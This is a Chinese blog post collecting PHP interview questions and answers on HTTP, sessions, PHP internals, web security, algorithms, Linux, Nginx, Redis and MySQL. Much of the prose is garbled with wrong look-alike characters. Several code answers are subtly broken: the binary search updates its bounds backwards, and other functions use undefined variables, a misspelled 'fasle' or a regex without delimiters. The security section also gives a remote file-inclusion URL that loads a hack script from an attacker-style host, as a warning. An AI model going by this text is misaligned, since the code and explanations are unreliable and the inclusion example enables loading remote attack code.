关于面试:3年PHPer的面试总结

1次阅读

共计 14146 个字符,预计需要花费 36 分钟才能阅读完成。

根底局部

1.HTTP 中 GET 与 POST 的区别,留神最初一条

GET 在浏览器回退时是有害的,而 POST 会再次提交申请。
GET 产生的 URL 地址能够被 Bookmark,而 POST 不能够。
GET 申请会被浏览器被动 cache,而 POST 不会,除非手动设置。
GET 申请只能进行 url 编码,而 POST 反对多种编码方式。
GET 申请参数会被残缺保留在浏览器历史记录里,而 POST 中的参数不会被保留。
GET 申请在 URL 中传送的参数是有长度限度的,而 POST 没有。
对参数的数据类型,GET 只承受 ASCII 字符,而 POST 没有限度。
GET 比 POST 更不平安,因为参数间接裸露在 URL 上,所以不能用来传递敏感信息。
GET 参数通过 URL 传递,POST 放在 Request body 中。
GET 产生一个 TCP 数据包,POST 产生两个 TCP 数据包。

2. 为什么 Tcp 连贯是三次,挥手是四次

在 Tcp 连贯中,服务端的 SYN 和 ACK 向客户端发送是一次性发送的,而在断开连接的过程中,B 端向 A 端发送的 ACK 和 FIN 是分两次发送的。因为在 B 端接管到 A 端的 FIN 后,B 端可能还有数据要传输,所以先发送 ACK,等 B 端解决完本人的事件后就能够发送 FIN 断开连接了。

3.Cookie 存在哪

如果设置了过期工夫,Cookie 存在硬盘里
没有设置过期工夫,Cookie 存在内存里

4.COOKIE 和 SESSION 的区别和关系

COOKIE 保留在客户端,而 SESSION 则保留在服务器端
从安全性来讲,SESSION 的安全性更高
从保留内容的类型的角度来讲,COOKIE 只保留字符串(及可能主动转换成字符串)
从保留内容的大小来看,COOKIE 保留的内容是无限的,比拟小,而 SESSION 基本上没有这个限度
从性能的角度来讲,用 SESSION 的话,对服务器的压力会更大一些
SEEION 依赖于 COOKIE,但如果禁用 COOKIE,也能够通过 url 传递

PHP 相干

Session 可不可以设置生效工夫,比方 30 分钟过期

设置 seesion.cookie_lifetime 有 30 分钟,并设置 session.gc_maxlifetime 为 30 分钟
本人为每一个 Session 值减少 timestamp
每次拜访之前, 判断工夫戳

PHP 过程间通信的几种形式

音讯队列
信号量 + 共享内存
信号
管道
socket

php 类的动态调用和实例化调用各自的利弊

静态方法是类中的一个成员办法,属于整个类,即便不必创立任何对象也能够间接调用!静态方法效率上要比实例化高,静态方法的毛病是不主动销毁,而实例化的则能够做销毁。

类的数组形式调用

ArrayAccess(数组式拜访)接口

用 php 写一个函数,获取一个文本文件最初 n 行内容,要求尽可能效率高,并能够跨平台应用。

function tail($file, $num)
{$fp = fopen($file,"r");  
    $pos = -2;
    $eof = "";  
    $head = false;   // 当总行数小于 Num 时,判断是否到第一行了  
    $lines = array();  
    while ($num > 0) {while($eof != PHP_EOL){if (fseek($fp, $pos, SEEK_END) == 0) {    //fseek 胜利返回 0,失败返回 -1  
                $eof = fgetc($fp);
                $pos--;  
            } else {                            // 当达到第一行,行首时,设置 $pos 失败  
                fseek($fp, 0, SEEK_SET);
                $head = true;                   // 达到文件头部,开关关上  
                break;  
            }  
        }  
        array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp)));   
        if ($head) {// 这一句,只能放上一句后,因为到文件头后,把第一行读取进去再跳出整个循环  
            break; 
        }                 
        $eof = "";  
        $num--;  
    }  
    fclose($fp);  
    return $lines;  
}  

$SERVER[‘SERVER_NAME’]和 $SERVER[‘HTTP_HOST’]的区别

相同点:当满足以下三个条件时,两者会输入雷同信息。

服务器为 80 端口
apache 的 conf 中 ServerName 设置正确
HTTP/1.1 协定标准
不同点:

通常状况:$_SERVER[“HTTP_HOST”] 在 HTTP/1.1 协定标准下,会依据客户端的 HTTP 申请输入信息。$_SERVER[“SERVER_NAME”] 默认状况下间接输入 apache 的配置文件 httpd.conf 中的 ServerName 值。
当服务器为非 80 端口时:$_SERVER[“HTTP_HOST”] 会输入端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会间接输入 ServerName 值 因而在这种状况下,能够了解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件 httpd.conf 中的 ServerName 与 HTTP/1.0 申请的域名不统一时:httpd.conf 配置如下:

<virtualhost *>    
ServerName github.com    
ServerAlias blog.github.com    
</virtualhost>

客户端拜访域名 blog.github.com $_SERVER[“HTTP_HOST”] 输入 blog.github.com $_SERVER[“SERVER_NAME”] 输入 github.com

关上 php.ini 的 safe_mode 会影响哪些参数

当 safe_mode=On 时,会呈现上面限度:

  1. 所有输入输出函数(例如 fopen()、file()和 require())的实用会受到限制,只能用于与调用这些函数的脚本有雷同拥有者的文件。例如,假设启用了平安模式,如果 Mary 领有的脚本调用 fopen(), 尝试关上由 Jonhn 领有的一个文件,则将失败。然而,如果 Mary 不仅领有调用 fopen()的脚本,还领有 fopen()所调用的文件,就会胜利。
  2. 如果试图通过函数 popen()、system()或 exec()等执行脚本,只有当脚本位于 safe_mode_exec_dir 配置指令指定的目录才可能。
  3. HTTP 验证失去进一步增强,因为验证脚本用于者的 UID 划入验证畛域范畴内。此外,当启用平安模式时,不会设置 PHP_AUTH。
  4. 如果实用 MySQL 数据库服务器,链接 MySQL 服务器所用的用户名必须与调用 mysql_connect()的文件拥有者用户名雷同。
    具体的解释能够查看官网:http://www.php.net/manual/zh/… php safe_mode 影响参数
函数名 限度
dbmopen() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
dbase_open() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
filepro() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
filepro_rowcount() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
filepro_retrieve() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
ifx_* sql_safe_mode 限度, (!= safe mode)
ingres_* sql_safe_mode 限度, (!= safe mode)
mysql_* sql_safe_mode 限度, (!= safe mode)
pg_loimport() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
posix_mkfifo() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的无关文档。
move_uploaded_file() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
chdir() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
dl() 本函数在平安模式下被禁用。
backtick operator 本函数在平安模式下被禁用。
shell_exec() (在性能上和 backticks 函数雷同)本函数在平安模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
mkdir() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
rmdir() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
rename() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
unlink() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
copy() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。(on source and target)
chgrp() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
chown() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
chmod() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。另外,不能设置 SUID、SGID 和 sticky bits
touch() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
symlink() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。(留神:仅测试 target)
link() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。(留神:仅测试 target)
apache_request_headers() 在平安模式下,以“authorization”(辨别大小写)结尾的标头将不会被返回。
header() 在平安模式下,如果设置了 WWW-Authenticate,以后脚本的 uid 将被增加到该标头的 realm 局部。
PHP_AUTH 变量 在平安模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您依然能够应用 REMOTE_USER 来获取用户名称(USER)。(留神:仅 PHP 4.3.0 当前无效)
highlight_file(), show_source() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。(留神,仅在 4.2.1 版本后无效)
parse_ini_file() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。(留神,仅在 4.2.1 版本后无效)
set_time_limit() 在平安模式下不起作用。
max_execution_time 在平安模式下不起作用。
mail() 在平安模式下,第五个参数被屏蔽。

PHP 解决多过程同时写一个文件的问题

function write($str)
{$fp = fopen($file, 'a');
    do {usleep(100);
    } while (!flock($fp, LOCK_EX));
    fwrite($fp, $str . PHP_EOL);
    flock($fp, LOCK_UN);
    fclose($fp);
}

PHP 里的超全局变量

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

php7 新个性

  • ?? 运算符(NULL 合并运算符)
  • 函数返回值类型申明
  • 标量类型申明
  • use 批量申明
  • define 能够定义常量数组
  • 闭包(Closure)减少了一个 call 办法 具体的能够见官网:php7-new-features

php7 卓越性能背地的优化

  • 缩小内存调配次数
  • 多应用栈内存
  • 缓存数组的 hash 值
  • 字符串解析成桉树改为宏开展
  • 应用大块间断内存代替小块破碎内存 具体的能够参考鸟哥的 PPT:PHP7 性能之源

include($_GET[‘p’])的安全隐患

当初任一个黑客当初都能够用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个 PHP 脚本。如果 allow_url_fopen=On,你更是死定了:试试这个输出:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 当初你的网页中蕴含了 http://www.youaredoomed.com/phphack.php 的输入. 黑客能够发送垃圾邮件,扭转明码,删除文件等等。只有你能想得到。

列出一些防备 SQL 注入、XSS 攻打、CSRF 攻打的办法

  • addslashes 函数
  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
  • PDO 预处理 XSS:htmlspecial 函数 CSRF:
  • 验证 HTTP REFER
  • 应用 toke 进行验证

接口如何平安拜访

jwt 或验证签名

PHP 里有哪些设计模式

  • 单例模式
  • 工厂模式
  • 脸面模式(facade)
  • 注册器模式
  • 策略模式
  • 原型模式
  • 装璜器模式 更多的能够看 PHP 设计模式简介这篇文章

验证 ip 是否正确

function check_ip($ip)
{if (!filter_var($ip, FILTER_VALIDATE_IP)) {return false;} else {return true;}
}

验证日期是否正当

function check_datetime($datetime)
{if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {return true;} else {return false;}
}

写一个正则表达式,过滤 JS 脚本(及把 script 标记及其内容都去掉)

$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);

下单后 30 分钟未领取勾销订单

第一种计划:被动过期 +cron,就是用户查看的时候去数据库查有没有领取 + 定时清理。第二种计划:提早性工作,到工夫查看订单是否领取胜利,如果没有领取则勾销订单

设计一个秒杀零碎

思路:用 redis 的队列

$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);

$lock = fasle;
while (!$lock) {$lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}

if ($redis->get('goods.num') <= 0) {echo ("秒杀曾经完结");
    // 删除锁
    if ($redis->get('lock') == $random) {$redis->del('lock');
    }
    return false;
}

$redis->decr('goods.num');
echo ("秒杀胜利");
// 删除锁
if ($redis->get('lock') == $random) {$redis->del('lock');
}
return true;

请设计一个实现形式,能够给某个 ip 找到对应的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大 Ip 录进去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');// 北京的最小 IP 加#
$resid->zAdd($redis_key, 30, 'bj');// 最大 IP

function get_ip_city($ip_address)
{$ip = ip2long($ip_address);

    $redis_key = 'ip';
    $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
    if ($city) {if (strpos($city[0], "#") === 0) {echo '城市不存在!';} else {echo '城市是' . $city[0];
        }
    } else {echo '城市不存在!';}
}

算法局部

反转函数的实现

/**
 * 反转数组
 * @param  array $arr 
 * @return array
 */
function reverse($arr)
{$n = count($arr);

    $left = 0;
    $right = $n - 1;

    while ($left < $right) {$temp = $arr[$left];
        $arr[$left++] = $arr[$right];
        $arr[$right--] = $temp;
    }

    return $arr;
}

两个有序 int 汇合是否有雷同元素的最优算法

/**
 * 寻找两个有序数组里雷同的元素
 * @param  array $arr1 
 * @param  array $arr2 
 * @return array      
 */
function find_common($arr1, $arr2)
{$common = array();
    $i = $j = 0;
    $count1 = count($arr1);
    $count2 = count($arr2);
    while ($i < $count1 && $j < $count2) {if ($arr1[$i] < $arr2[$j]) {$i++;} elseif ($arr1[$i] > $arr2[$j]) {$j++;} else {$common[] = $arr[$i];
            $i++;
            $j++;
        }
    }
    return array_unique($common);
}

将一个数组中的元素随机(打乱)

/**
 * 打乱数组
 * @param  array $arr 
 * @return array      
 */
function custom_shuffle($arr)
{$n = count($arr);
    for ($i = 0; $i < $n; $i++) {$rand_pos = mt_rand(0, $n - 1);
        if ($rand_pos != $i) {$temp = $arr[$i];
            $arr[$i] = $arr[$rand_pos];
            $arr[$rand_pos] = $temp;
        }
    }
    return $arr;
}

给一个有数字和字母的字符串,让连着的数字和字母对应

function number_alphabet($str)
{$number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY);
    $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY);
    $n = count($number);
    for ($i = 0; $i < $count; $i++) {echo $number[$i] . ':' . $alphabet[$i] . '</br>';
    }
}
$str = '1a3bb44a2ac';
number_alphabet($str);//1:a 3:bb 44:a 2:ac

求 n 以内的质数(质数的定义:在大于 1 的自然数中,除了 1 和它自身意外,无奈被其余自然数整除的数)

思路:1.(质数筛选定理)n 不可能被不大于根号 n 的任何质数整除,则 n 是一个质数
2. 除了 2 的偶数都不是质数
代码如下:

/**
 * 求 n 内的质数
 * @param int $n 
 * @return array
 */
function get_prime($n)
{$prime = array(2);// 2 为质数

    for ($i = 3; $i <= $n; $i += 2) {// 偶数不是质数,步长能够加大 
        $sqrt = intval(sqrt($i));// 求根号 n

        for ($j = 3; $j <= $sqrt; $j += 2) {// i 是奇数,当然不能被偶数整除,步长也能够加大。if ($i % $j == 0) {break;}
        }

        if ($j > $sqrt) {array_push($prime, $i);
        }
    }

    return $prime;
}

print_r(getPrime(1000));

约瑟夫环问题

相干题目:一群猴子排成一圈,按 1,2,…,n 顺次编号。而后从第 1 只开始数,数到第 m 只, 把它踢出圈,从它前面再开始数,再数到第 m 只,在把它踢出去…,如此不停的进行上来,直到最初只剩下一只猴子为止,那只猴子就叫做大王。要求编程模仿此过程,输出 m、n, 输入最初那个大王的编号。

/**
 * 获取大王
 * @param  int $n 
 * @param  int $m 
 * @return int  
 */
function get_king_mokey($n, $m) 
{$arr = range(1, $n);

    $i = 0;

    while (count($arr) > 1) {
        $i++;
        $survice = array_shift($arr);

        if ($i % $m != 0) {array_push($arr, $survice);
        }
    }

    return $arr[0];
}

如何疾速寻找一个数组里最小的 1000 个数

思路:假如最后面的 1000 个数为最小的,算出这 1000 个数中最大的数,而后和第 1001 个数比拟,如果这最大的数比这第 1001 个数小的话跳过,如果要比这第 1001 个数大则将两个数替换地位,并算出新的 1000 个数外面的最大数,再和下一个数比拟,以此类推。
代码如下:

// 寻找最小的 k 个数
// 题目形容
// 输出 n 个整数,输入其中最小的 k 个。/**
 * 获取最小的 k 个数
 * @param  array $arr 
 * @param  int $k   [description]
 * @return array
 */
function get_min_array($arr, $k)
{$n = count($arr);

    $min_array = array();

    for ($i = 0; $i < $n; $i++) {if ($i < $k) {$min_array[$i] = $arr[$i];
        } else {if ($i == $k) {$max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }

            if ($arr[$i] < $max) {$min_array[$max_pos] = $arr[$i];

                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }
        }
    }

    return $min_array;
}

/**
 * 获取最大的地位
 * @param  array $arr 
 * @return array
 */
function get_max_pos($arr)
{
    $pos = 0;
    for ($i = 1; $i < count($arr); $i++) {if ($arr[$i] > $arr[$pos]) {$pos = $i;}
    }

    return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);

如何在有序的数组中找到一个数的地位(二分查找)

代码如下:

/**
 * 二分查找
 * @param  array $array 数组
 * @param  int $n 数组数量
 * @param  int $value 要寻找的值
 * @return int
 */
function binary_search($array, $n, $value)
{
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {$mid = intval(($left + $right) / 2);
        if ($value > $array[$mid]) {$right = $mid + 1;} elseif ($value < $array[$mid]) {$left = $mid - 1;} else {return $mid;}
    }

    return -1;
}

给定一个有序整数序列,找出绝对值最小的元素

思路:二分查找

/**
 * 获取绝对值最小的元素
 * @param  array $arr
 * @return int  
 */
function get_min_abs_value($arr)
{$n = count($arr);
    // 如果符号雷同,间接返回
    if (is_same_sign($arr[0], $arr[$n - 1])) {return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
    }

    // 二分查找
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {if ($left + 1 === $right) {return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
        }

        $mid = intval(($left + $right) / 2);

        if ($arr[$mid] < 0) {$left = $mid + 1;} else {$right = $mid - 1;}
    }
}

/**
 * 判断符号是否雷同
 * @param  int  $a 
 * @param  int  $b 
 * @return boolean  
 */
function is_same_sign($a, $b)
{if ($a * $b > 0) {return true;} else {return false;}
}

找出有序数组中随机 3 个数和为 0 的所有状况

思路:动静布局

function three_sum($arr)
{$n = count($arr);

    $return = array();

    for ($i=0; $i < $n; $i++) { 
        $left = $i + 1;
        $right = $n - 1;

        while ($left <= $right) {$sum = $arr[$i] + $arr[$left] + $arr[$right];

            if ($sum < 0) {$left++;} elseif ($sum > 0) {$right--;} else {$numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right];
                if (!in_array($numbers, $return)) {$return[] = $numbers;
                }

                $left++;
                $right--;
            }
        }
    }

    return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));

编写一个 PHP 函数,求任意 n 个正负整数外面最大的间断和,要求算法工夫复杂度尽可能低。

思路:动静布局

/**
 * 获取最大的间断和
 * @param  array $arr 
 * @return int 
 */
function max_sum_array($arr)
{
    $currSum = 0;
    $maxSum = 0;// 数组元素全为负的状况,返回最大数

    $n = count($arr);

    for ($i = 0; $i < $n; $i++) {if ($currSum >= 0) {$currSum += $arr[$i];
        } else {$currSum = $arr[$i];
        }
    }

    if ($currSum > $maxSum) {$maxSum = $currSum;}

    return $maxSum;
}

Linux 相干

1. 如何批改文件为以后用户只读

chmod u=r 文件名

2.Linux 过程属性

  1. 过程:是用 pid 示意,它的数值是惟一的
  2. 父过程:用 ppid 示意
  3. 启动过程的用户:用 UID 示意
  4. 启动过程的用户所属的组:用 GID 示意
  5. 过程的状态:运行 R,就绪 W,休眠 S,僵尸 Z

3. 统计某一天网站的访问量

awk '{print $1}' /var/log/access.log | sort | uniq | wc -l

举荐篇文章,讲 awk 理论应用的 shell 在手剖析服务器日志不愁

Nginx 相干

1.fastcgi 通过端口监听和通过文件监听的区别

监听形式 模式 nginx 链接 fastcgi 形式
端口监听 fastcgi_pass 127.0.0.1:9000 TCP 链接
文件监听 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket

2.nginx 的负载平衡实现形式

  1. 轮询
  2. 用户 IP 哈希
  3. 指定权重
  4. fair(第三方)
  5. url_hash(第三方)

Memcache/Redis

1.Redis 主从是怎么同步数据的?(即复制性能)

无论是首次连贯还是从新连贯,当建设一个从服务器时,从服务器都将从主服务器发送一个 SYNC 命令。接到 SYNC 命令的主服务器将开始执行 BGSAVE,并在保留操作执行期间,将所有新执行的命令都保留到一个缓冲区外面,当 BGSAVE 执行结束后,主服务器将执行保留操作所失去的.rdb 文件发送给从服务器,从服务器接管这个.rdb 文件,并将文件中的数据载入到内存中。之后主服务器会以 Redis 命令协定的格局,将写命令缓冲区中积攒的所有内容都发送给从服务器。

2.Memcache 缓存命中率

缓存命中率 = get_hits/cmd_get * 100%

3.Memcache 集群实现

一致性 Hash

4.Memcache 与 Redis 的区别

  1. Memcache

    • 该产品自身特地是数据在内存里边的存储,如果服务器忽然断电,则全副数据就会失落
    • 单个 key(变量)寄存的数据有 1M 的限度
    • 存储数据的类型都是 String 字符串类型
    • 自身没有长久化性能
    • 能够应用多核(多线程)
  2. Redis

    • 数据类型比拟丰盛:String、List、Set、Sortedset、Hash
    • 有长久化性能,能够把数据随时存储在磁盘上
    • 自身有肯定的计算性能
    • 单个 key(变量)寄存的数据有 1GB 的限度

MySQL 相干

1. 执行 SQL 语句:select count(*) from articles 时,MyISAM 和 InnoDB 哪个快

MyISAM 快,因为 MyISAM 自身就记录了数量,而 InnoDB 要扫描数据

3. 隐式转换

  • 当查问字段是 INT 类型,如果查问条件为 CHAR,将查问条件转换为 INT,如果是字符串前导都是数字将会进行截取,如果不是转换为 0。
  • 当查问字段是 CHAR/VARCHAR 类型,如果查问条件为 INT,将查问字段为换为 INT 再进行比拟,可能会造成全表扫描

2. 最左前缀准则

有一个复合索引:INDEX(a, b, c)

应用形式 是否用上索引
select * from users where a = 1 and b = 2 能用上 a、b
select * from users where b = 2 and a = 1 能用上 a、b(有 MySQL 查问优化器)
select * from users where a = 2 and c = 1 能用上 a
select * from users where b = 2 and c = 1 不能

3. 聚簇索引和非聚簇索引的区别

聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点依然是索引检点,并保留一个链接指向对应数据块。

4. 索引类型

主键索引 PRIMARY
一般索引 INDEX
惟一索引 UNIQUE
全文索引 FULLTEXT

举例说明:

CREATE TABLE `user` (`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
  `idcard` varchar(18) CHARACTER SET latin1 DEFAULT NULL,
  `phone` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
  `addres` varchar(50) CHARACTER SET latin1 DEFAULT NULL,
  `remak` text CHARACTER SET latin1,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

id 作为主键,应用 PRIMARY
name 如果须要建设索引就建设一般索引用于搜寻应用,INDEX
idcard 作为用户身份证信息是惟一的,能够抉择应用 UNIQUE
remak 作为备注信息,如果须要索引的话,短文章能够应用一般索引(INDEX),常温的话能够能够选着全文索引(FULLTEXT)

ALTER table user add PRIMARY KEY("id")
ALTER table user add index("name")
ALTER table user add UNIQUE("idcard")
ALTER table user add FULLTEXT ("remak")

其余局部

1. 网页 / 利用拜访慢忽然变慢,如何定位问题

  1. top、iostat 查看 cpu、内存及 io 占用状况
  2. 内核、程序参数设置不合理 查看有没有报内核谬误,连接数用户关上文件数这些有没有达到下限等等
  3. 链路自身慢 是否跨运营商、用户上下行带宽不够、dns 解析慢、服务器内网播送风暴什么的
  4. 程序设计不合理 是否程序自身算法设计太差,数据库语句太过简单或者刚上线了什么性能引起的
  5. 其它关联的程序引起的 如果要拜访数据库,检查一下是否数据库拜访慢
  6. 是否被攻打了 查看服务器是否被 DDos 了等等
  7. 硬件故障 这个个别间接服务器就挂了,而不是拜访慢

2. 如何设计 / 优化一个访问量比拟大的博客 / 论坛

  • 缩小 http 申请(比方应用雪碧图)
  • 优化数据库(范式、SQL 语句、索引、配置、读写拆散)
  • 缓存应用(Memcache、Redis)
  • 负载平衡
  • 动静内容动态化 +CDN
  • 禁止内部盗链(refer、图片增加水印)
  • 管制大文件下载
  • 应用集群
正文完
 0